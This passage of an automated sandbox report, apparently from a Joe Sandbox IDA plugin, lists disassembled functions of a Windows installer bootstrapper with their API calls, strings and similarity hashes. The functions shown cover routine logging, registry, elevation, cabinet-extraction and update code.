EnterCriticalSection.KERNEL32(00A77E3C,00000001,00000000,00000001,?,?,00A32110,00000001,?,00000000,?,00000000,00000000,0000000D,00000000,Setup), ref: 00A4FF2E
CreateFileW.KERNEL32(40000000,00000001,00000000,?,00000080,00000000,?,00000000,?,?,00000000,00A77E34,?,?,00A32110,00000001), ref: 00A4FFCF
GetLastError.KERNEL32(?,?,00A32110,00000001,?,00000000,?,00000000,00000000,0000000D,00000000,Setup,00000000,log,0000000D,00000000), ref: 00A4FFDF
SetFilePointer.KERNEL32(00000000,00000000,00000002,?,?,00A32110,00000001,?,00000000,?,00000000,00000000,0000000D,00000000,Setup,00000000), ref: 00A5001A

Part of subcall function 00A526A0: _memset.LIBCMT ref: 00A526EF
Part of subcall function 00A526A0: GetLocalTime.KERNEL32(?,?,?,?,00000000,?), ref: 00A527E1

LeaveCriticalSection.KERNEL32(00A77E3C,?,00000000,00A77E34,?,?,00A32110,00000001,?,00000000,?,00000000,00000000,0000000D,00000000,Setup), ref: 00A5006F

Strings

logutil.cpp, xrefs: 00A4FFFF

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalFileSection$CreateEnterErrorLastLeaveLocalPointerTime_memset
String ID: logutil.cpp
API String ID: 654766419-3545173039
Opcode ID: 4dfffb3becaf6aaaa2c7b35c24b85b85d1ed9df67febcd4906970045f64c58fd
Instruction ID: 8b7dc9c30cd309986d589036b3517857a188042f92316802dcb4c1ba607f2841
Opcode Fuzzy Hash: 4dfffb3becaf6aaaa2c7b35c24b85b85d1ed9df67febcd4906970045f64c58fd
Instruction Fuzzy Hash: D731B331501224FFCB21AFA0DD49E5E7A6AFB46B52F148525F809D70A1CB708D89D7E0

Function 00A370BE Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,0000000E,?,00000000,00000002,?,00A372F1,0000000E,?,?,?,?), ref: 00A370DB
lstrlenW.KERNEL32(?,?,00A372F1,0000000E,?,?,?,?), ref: 00A370E2
CompareStringW.KERNEL32(0000007F,?,?,00000000,?,00000000,?,00A372F1,0000000E,?,?,?,?), ref: 00A37129
CompareStringW.KERNEL32(0000007F,?,?,00000000,?,00000000,?,00A372F1,0000000E,?,?,?,?), ref: 00A37182
CompareStringW.KERNEL32(0000007F,?,?,00000000,?,00000000,?,00A372F1,0000000E,?,?,?,?), ref: 00A371B3

Strings

W, xrefs: 00A37156

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CompareString$lstrlen
String ID: W
API String ID: 1657112622-655174618
Opcode ID: 57bfd9452a7152fd47d7885d7c084e785123336349aa135bd5a9a03e03a98003
Instruction ID: 2f21326033b797795b8cfe243873b569fc9baf5846bf300f979f692473aeffe6
Opcode Fuzzy Hash: 57bfd9452a7152fd47d7885d7c084e785123336349aa135bd5a9a03e03a98003
Instruction Fuzzy Hash: 04318DB3508249BBCB31CF98CC85EAF3B79EB85351F208A15F905DA120D275C981DB61

Function 00A5425B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 111stringregistryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(F08B8007,057CF33B,BundleUpgradeCode,00A213BB,00000000,00000000,F08B8007,057CF33B,00020006,00000000,?,?,C53300A7), ref: 00A54298
lstrlenW.KERNEL32(F08B8007,00020006,00000001,F08B8007,00020006,00000001,BundleUpgradeCode,00A213BB,00000000), ref: 00A542F9
lstrlenW.KERNEL32(F08B8007), ref: 00A54300
RegSetValueExW.ADVAPI32(00020006,00000000,00000000,00000007,00020006,00000000,00000001,00000000,00000000,00020006,00000001,BundleUpgradeCode,00A213BB,00000000), ref: 00A5433C

Strings

regutil.cpp, xrefs: 00A54368
BundleUpgradeCode, xrefs: 00A54263

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: lstrlen$Value
String ID: BundleUpgradeCode$regutil.cpp
API String ID: 198323757-1648651458
Opcode ID: 6ad231c4359400e9b03ed18b521862ad353fc373eac9dc3434014d2e5b8708ef
Instruction ID: be9b2c3f4e1d210f4ae30c4c0fcb09c07444ebe15ab206582cab7b9d29675053
Opcode Fuzzy Hash: 6ad231c4359400e9b03ed18b521862ad353fc373eac9dc3434014d2e5b8708ef
Instruction Fuzzy Hash: 17412971D0021AEFDF01DFA5CD80AAEBBB9FF09359F104069E910AB160D774EA599B60

Function 00A2FA3D Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 108COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,F468107D,00A217A9,00000001,?,00A217A9,00000001,000000FF,00A217A9,00A217AD,00000000,00A213C5,00000001,00000000,?,00A2BDAF), ref: 00A2FB4D

Strings

elevation.cpp, xrefs: 00A2FA71
UX aborted elevation requirement., xrefs: 00A2FA7B
Failed to connect to elevated child process., xrefs: 00A2FB2B
Failed to elevate., xrefs: 00A2FB36
Failed to create pipe name and client token., xrefs: 00A2FAA7
Failed to create pipe and cache pipe., xrefs: 00A2FAC3

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseHandle
String ID: Failed to connect to elevated child process.$Failed to create pipe and cache pipe.$Failed to create pipe name and client token.$Failed to elevate.$UX aborted elevation requirement.$elevation.cpp
API String ID: 2962429428-3003415917
Opcode ID: 175988c4488f7fd9ca4b2efb57211a343059d7b3c0d5288a78c4ca447723c4ed
Instruction ID: b527e1c9063c34a6022a6d080345430d9905bbcc11ca5e6744a9fb82de408b40
Opcode Fuzzy Hash: 175988c4488f7fd9ca4b2efb57211a343059d7b3c0d5288a78c4ca447723c4ed
Instruction Fuzzy Hash: E331FB72240725BEDB11E77CED95FAB32BDEB84320F204439F91997180EE75D9059720

Function 00A3CB8F Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 00A3CBF1

Strings

%s%="%s", xrefs: 00A3CC17
Failed to format property string part., xrefs: 00A3CC5F
Failed to format property value., xrefs: 00A3CC51
Failed to escape string., xrefs: 00A3CC58
Failed to append property string part., xrefs: 00A3CC66

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Open@16
String ID: %s%="%s"$Failed to append property string part.$Failed to escape string.$Failed to format property string part.$Failed to format property value.
API String ID: 3613110473-515423128
Opcode ID: 2e33d4f9c9bb39aca7b72b440c18e2b53de37e0c01e5087d4d9686f1b6b69b3f
Instruction ID: f2f88202f42624b30b1ca5ad1787fb2212d6ea85e84dbe2fc7bf7666277496e5
Opcode Fuzzy Hash: 2e33d4f9c9bb39aca7b72b440c18e2b53de37e0c01e5087d4d9686f1b6b69b3f
Instruction Fuzzy Hash: E5316E72D0025AFFCF10AF98CEC28ADB7B9FB00321F14496AF915B2111D7315E649B96

Function 00A2F4C1 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A2F4D8

Strings

Failed to read package id from message buffer., xrefs: 00A2F500
Failed to execute package dependency action., xrefs: 00A2F59C
Failed to find package: %ls, xrefs: 00A2F57B
Failed to read bundle dependency key from message buffer., xrefs: 00A2F523
Failed to read action., xrefs: 00A2F543

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: Failed to execute package dependency action.$Failed to find package: %ls$Failed to read action.$Failed to read bundle dependency key from message buffer.$Failed to read package id from message buffer.
API String ID: 2102423945-4197210911
Opcode ID: 3f4223e8a55ef372a36e06d74d6781da71c608869e304097b139ed308cd0526f
Instruction ID: ae0bdf40ee7c4319194a474854be3e68bbe46b5c856bfea0ffaaadadd875de3a
Opcode Fuzzy Hash: 3f4223e8a55ef372a36e06d74d6781da71c608869e304097b139ed308cd0526f
Instruction Fuzzy Hash: D5312772D00139BFDF12AEA8EE42EEEBB78AB14711F100132FD00B6191D7719B54AB91

Function 00A50329 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

CheckTokenMembership.ADVAPI32(?,?,?,?,?,?,00A50473,?,?,7744C3F0,?,00000000), ref: 00A5036F
GetLastError.KERNEL32(?,?,?,00A50473,?,?,7744C3F0,?,00000000), ref: 00A5037D
AllocateAndInitializeSid.ADVAPI32(00A50467,EC83EC8B,FFFFFEB6,5FFC4D8B,5BCD335E,FF809AE8,04C2C9FF,EC8B5500,FC5D89F6,FFF45D89,?,?,?), ref: 00A503D0
GetLastError.KERNEL32(?,?,?,00A50473,?,?,7744C3F0,?,00000000), ref: 00A503DA
FreeSid.ADVAPI32(?,?,?,?,00A50473,?,?,7744C3F0,?,00000000), ref: 00A50410

Strings

aclutil.cpp, xrefs: 00A5039F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$AllocateCheckFreeInitializeMembershipToken
String ID: aclutil.cpp
API String ID: 1125035699-2159165307
Opcode ID: 71fada7983b32cd6733d12ca1a8431e9b72720745b51e83f87997b764ad4e358
Instruction ID: bd7b6e909cde5978bc1cafff892e7aa7f62b8504f94bd4e65781ad8e06697fbb
Opcode Fuzzy Hash: 71fada7983b32cd6733d12ca1a8431e9b72720745b51e83f87997b764ad4e358
Instruction Fuzzy Hash: F121F272950110FFCB219FA5CC08DAEBA79FF04362B1549A5F904EB0A1E335CE48DB60

Function 00A45F99 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 75fileCOMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 00A45FE6
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00A46006
GetLastError.KERNEL32 ref: 00A46010

Strings

cabextract.cpp, xrefs: 00A46035
Unexpected call to CabWrite()., xrefs: 00A45FC8
Failed to write during cabinet extraction., xrefs: 00A4603F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLastWrite_memcpy_s
String ID: Failed to write during cabinet extraction.$Unexpected call to CabWrite().$cabextract.cpp
API String ID: 1970631241-3111339858
Opcode ID: fa566a4a2559c495a4a0d3bb19bd399e78d33c9d63a65fe8a72080d43a249557
Instruction ID: 6bac1d053eef817d083fff0196f2a05632829cbf2144caca6dec606f1de70d04
Opcode Fuzzy Hash: fa566a4a2559c495a4a0d3bb19bd399e78d33c9d63a65fe8a72080d43a249557
Instruction Fuzzy Hash: 4721FD3A600701EFCB20DB68E940E2AB7F8FBC5325B10462CFA15C3681DA32E9018B20

Function 00A37C57 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 74COMMON

Download Yara Rule

APIs

InitializeAcl.ADVAPI32(00000000,00000008,00000002,0000001A,00000000,00000000,00000000,00000000,00000000), ref: 00A37C95
GetLastError.KERNEL32 ref: 00A37C9F
SetFileAttributesW.KERNEL32(00000000,00000080,00000000,00000001,20000004,00000000,00000000,00000000,00000000,00000003,000007D0,00000000,00000000,00000000,00000000), ref: 00A37D07

Strings

cache.cpp, xrefs: 00A37CC4
Failed to initialize ACL., xrefs: 00A37CCE
Failed to allocate administrator SID., xrefs: 00A37C86

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AttributesErrorFileInitializeLast
String ID: Failed to allocate administrator SID.$Failed to initialize ACL.$cache.cpp
API String ID: 669721577-1117388985
Opcode ID: 157b0174c0abd098aaa48d61928fd2879bc53217073562e7da466a9f1b9bbaeb
Instruction ID: 7f91f931824f6a26e2554e65782f45aa14c5e504643a42f01cb5ff26acb0cdee
Opcode Fuzzy Hash: 157b0174c0abd098aaa48d61928fd2879bc53217073562e7da466a9f1b9bbaeb
Instruction Fuzzy Hash: 8411E972A44604FAEB31ABA49D06FAEB779BF40752F214925FA11F60C0E6754E0897A0

Function 00A45ECC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00A45F2D
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00A45F3F
SetFileTime.KERNEL32(?,?,?,?), ref: 00A45F52
CloseHandle.KERNEL32(?), ref: 00A45F61

Strings

Invalid operation for this state., xrefs: 00A45F09
cabextract.cpp, xrefs: 00A45EFD

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Time$File$CloseDateHandleLocal
String ID: Invalid operation for this state.$cabextract.cpp
API String ID: 609741386-1751360545
Opcode ID: f632bbb732740143b55248b11e01dc620180db4ad4a56da3ea186194624e316f
Instruction ID: a2b32fb3500c550e8b8caeb0ff179f76f49209d707791512bfbd0aed30c519b1
Opcode Fuzzy Hash: f632bbb732740143b55248b11e01dc620180db4ad4a56da3ea186194624e316f
Instruction Fuzzy Hash: 8F11A235514A09AF97109BB89D498BBB3FCFB44312754092AE511D20D1EB74E80A8721

Function 00A27471 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 00A2748B
GetFileAttributesW.KERNEL32(?,?,?,?,00000000,?,?,00000000,00000000,?,00A28BDF,?,?,?,?,?), ref: 00A274A0
GetLastError.KERNEL32(?,00A28BDF,?,?,?,?,?,?,?,?,00000001,00000000), ref: 00A274AB

Strings

Failed to set variable., xrefs: 00A27511
Failed to format variable string., xrefs: 00A27496
Failed while searching directory search: %ls, for path: %ls, xrefs: 00A274E9

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AttributesErrorFileLastOpen@16
String ID: Failed to format variable string.$Failed to set variable.$Failed while searching directory search: %ls, for path: %ls
API String ID: 1811509786-402580132
Opcode ID: ebc3d14af1074bf2dbf2126a65145b8d0b30fa97e3ca5485fdf654f5387cf468
Instruction ID: 1bdebf5ac6d028857e3904835b4df1a12938ebbc7b22ae01d179e63414e7ac41
Opcode Fuzzy Hash: ebc3d14af1074bf2dbf2126a65145b8d0b30fa97e3ca5485fdf654f5387cf468
Instruction Fuzzy Hash: 7B11B472804135FFDB21BFACAE81DADBA79FB00355B204539FD11A2051E7365F509791

Function 00A3675C Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 56COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 00A367D3

Strings

Failed to select condition node., xrefs: 00A3678A
Condition, xrefs: 00A3676E
Failed to copy condition string from BSTR, xrefs: 00A367BD
Failed to get Condition inner text., xrefs: 00A367A3
`5w, xrefs: 00A367D3

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: FreeString
String ID: Condition$Failed to copy condition string from BSTR$Failed to get Condition inner text.$Failed to select condition node.$`5w
API String ID: 3341692771-808312051
Opcode ID: 830544bd916eb7004a32c0fada6da9ab336ea05b8368a6ba5de1a583d05ec82e
Instruction ID: 2e9a67c98853c5821dd8528672e25e4c2a7015e5108d0a9c36d14da62f5c14f4
Opcode Fuzzy Hash: 830544bd916eb7004a32c0fada6da9ab336ea05b8368a6ba5de1a583d05ec82e
Instruction Fuzzy Hash: E9116132E54624BBDB129BA4CD45FAD7AB8BB10B2AF508154FC01B6190D771DE449790

Function 00A29499 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 55COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A294BE
GetTempPathW.KERNEL32(00000104,?), ref: 00A294D2
GetLastError.KERNEL32 ref: 00A294DC

Strings

Failed to set variant value., xrefs: 00A29527
variable.cpp, xrefs: 00A29501
Failed to get temp path., xrefs: 00A2950B

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastPathTemp_memset
String ID: Failed to get temp path.$Failed to set variant value.$variable.cpp
API String ID: 623060366-2915113195
Opcode ID: 4000405c0301d6c110c8875a7e7fcb969ddf20eb400567c512184ac036e172fa
Instruction ID: dab219986c5fd40e2d67de657e6a271c18f0a3f5523d193c9bf7acf576b67c5d
Opcode Fuzzy Hash: 4000405c0301d6c110c8875a7e7fcb969ddf20eb400567c512184ac036e172fa
Instruction Fuzzy Hash: C1012672B41725A6D711EB68AC06FAB37A8AB00B11F000174F905E71C2EB64EE488AA5

Function 00A49D95 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00A73410,00000008,00A49E9D,00000000,00000000,?,00A592AC,00A46A7B,?,00000000,00000000), ref: 00A49DA6
__lock.LIBCMT ref: 00A49DDA

Part of subcall function 00A4BE1B: __mtinitlocknum.LIBCMT ref: 00A4BE31
Part of subcall function 00A4BE1B: __amsg_exit.LIBCMT ref: 00A4BE3D
Part of subcall function 00A4BE1B: EnterCriticalSection.KERNEL32(00000000,00000000,?,00A49DDF,0000000D,?,00A592AC,00A46A7B,?,00000000,00000000), ref: 00A4BE45

InterlockedIncrement.KERNEL32(?), ref: 00A49DE7
__lock.LIBCMT ref: 00A49DFB
___addlocaleref.LIBCMT ref: 00A49E19

Strings

KERNEL32.DLL, xrefs: 00A49DA1

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: d2a5f36a7d2af41c0ba8a8be6c7d4b97c2f6de56d5e6a1352c8706f6ed487df6
Instruction ID: 1cb60a6e0bd68986d106ced66428112eaa0efd0e0be0a6d3458a37e049d269a9
Opcode Fuzzy Hash: d2a5f36a7d2af41c0ba8a8be6c7d4b97c2f6de56d5e6a1352c8706f6ed487df6
Instruction Fuzzy Hash: 74016175440B00DFD720DFB5D90A74AFBE0BF90325F20890DE499572A1CBB4A541CB25

Function 00A5054B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process,00000000,?,?,00A29175,00000000), ref: 00A5055F
GetProcAddress.KERNEL32(00000000), ref: 00A50566
GetLastError.KERNEL32(?,?,00A29175,00000000), ref: 00A5057D

Strings

procutil.cpp, xrefs: 00A5059F
IsWow64Process, xrefs: 00A50550
kernel32, xrefs: 00A5055A

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AddressErrorHandleLastModuleProc
String ID: IsWow64Process$kernel32$procutil.cpp
API String ID: 4275029093-1586155540
Opcode ID: 049fd34fdcdfc18ea773ac43b04f2cd80e5e14568dc5d3ac0d9c9b14ec8923e4
Instruction ID: 930b327bfaee78fac751884de74364341ec627111336986671c2771b6563c249
Opcode Fuzzy Hash: 049fd34fdcdfc18ea773ac43b04f2cd80e5e14568dc5d3ac0d9c9b14ec8923e4
Instruction Fuzzy Hash: C1F0A471A10311B797209B95DC09E6B7B68FF04753B008624BD05D6190E670DD04CBE4

Function 00A32339 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 135COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00A32351
LeaveCriticalSection.KERNEL32(?,?), ref: 00A32498

Part of subcall function 00A2B765: _memset.LIBCMT ref: 00A2B78A

Strings

Failed to default local update source, xrefs: 00A323C0
Failed to set update bundle., xrefs: 00A32469
update\%ls, xrefs: 00A323AC
Failed to recreate command-line for update bundle., xrefs: 00A32411

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave_memset
String ID: Failed to default local update source$Failed to recreate command-line for update bundle.$Failed to set update bundle.$update\%ls
API String ID: 3751686142-1266646976
Opcode ID: 7a5f1e806ea78db33c89ced8d039831e264f3df2fff7e59ba063e0307c0cc2bc
Instruction ID: 92e68a1ce4c70181a33a36caee7d4f796ae8c69aa61ee54f49482328d2fd7961
Opcode Fuzzy Hash: 7a5f1e806ea78db33c89ced8d039831e264f3df2fff7e59ba063e0307c0cc2bc
Instruction Fuzzy Hash: FA41AA31680608EFCF22CF94CD89EAA7BB6FB98711F208569F5045A161E7759C90DB10

Function 00A50ED5 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,00A46A7B,000000FF,00000000,00000000,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000), ref: 00A50F23
